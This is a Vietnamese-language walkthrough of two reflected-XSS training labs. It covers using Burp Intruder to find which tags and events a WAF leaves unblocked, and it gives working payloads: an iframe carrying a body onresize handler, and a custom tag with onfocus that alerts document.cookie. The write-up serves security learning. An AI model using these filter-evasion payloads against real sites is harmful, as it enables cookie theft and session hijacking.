**Bài 1: Reflected XSS into HTML context with**

**most tags and attributes blocked**

Bài này khó. Lỗ hổng XSS nằm ở phần tìm kiếm. Ứng dụng đã dùng WAF để chặn đa số các thẻ và thuộc tính của HTML. Để làm được bài này, phải vượt qua được WAF và gọi được hàm print().

Thử với payload sau:

<img src=1 onerror=alert(1)> 🡪 thẻ này không được phép. (bị chặn bởi WAF)

Gửi chức năng tìm kiếm đến Intruder <$$> tìm thẻ không bị chặn 🡪 body

Tiếp tục tìm thuộc tính không bị chặn <body%20$$=1>

🡪 có 3 cái là onbeforeinput, onratechange, onresize

Vì nó yêu cầu hàm print() nên phải dùng onresize

Payload tấn công sẽ là: <body onresize="print()">

Bài toán cho tiếp máy chủ của kẻ tấn công: https://exploit-0a2d0083030278a6c0829877011c00fd.exploit-server.net/

Mình sẽ tạo 1 file html tên exploit. Nội dung là:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=

<body%20onresize=print()>" onload=this.style.width='100px'>

Mục đích của thẻ iframe là hiển thị 1 website bên trong 1 website khác. Nó hoạt động như 1 block hình chữ nhật chèn trong website của bạn và browser sẽ hiển thị nội dung của website khác trong đó, bao gồm cả phần thanh trượt (scrollbar) để người dùng có thể tương tác với website được chèn vào.

event onresize() được kích hoạt khi cửa sổ thay đổi kích thước

Khi nạn nhân truy cập vào đường dẫn của kẻ tấn công như sau:

https://exploit-0a2d0083030278a6c0829877011c00fd.exploit-server.net/exploit

🡪Đoạn script được thực thi.

## Bài 2: Reflected XSS into HTML context with all tags blocked except custom ones

## Tất cả bài XSS mục tiêu là thực thi được code Javascript ở trình duyệt.

## Exploit server là máy chủ của kẻ tấn công hỗ trợ cho tấn công Reflected XSS.

## Để kiểm tra lỗi XSS có 2 cách:

* <script>alert(1)</script>
* <img src=1 onerror=alert(1)>

Tất cả đều bị chặn. Chúng ta phải tấn công dồn dập để kiểm tra những thẻ, thuộc tính được phép.

Để kiểm tra thẻ hợp lệ: <$$> ($$ là vị trí đặt payload)

🡪 a2,animate,audio2,iframe2,image2,…

Để kiểm tra event hợp lệ <a2%20$$>

🡪 Đa số các event đều hợp lệ

Giờ làm sao để thực thi code Javascript trong ứng dụng với các thẻ và event tìm được là thành công.

Bài này nên chọn những event không cần sự tương tác từ người dùng

Để tự động alert mình dùng custom tag xss. Payload là:

?search=<xss id=”x” tabindex=1 onfocus=alert(document.cookie)>#x

bài này nếu mình bỏ payload vào input sẽ ko chạy được nha vì # được mã hóa là %23

Để khai thác reflected mình sẽ tạo 1 file exploit ở máy chủ đã cho, khi nạn nhân nhấn vào đường dẫn, trình duyệt sẽ thực thi đoạn mã

<script>

location=”"https://0ad1004b04f32c70c0753bea006000c3.web-security-academy.net/?search=%3Cxss%20id=%22x%22%20tabindex=1%20onfocus=alert(document.cookie)%3E#x"”

</script>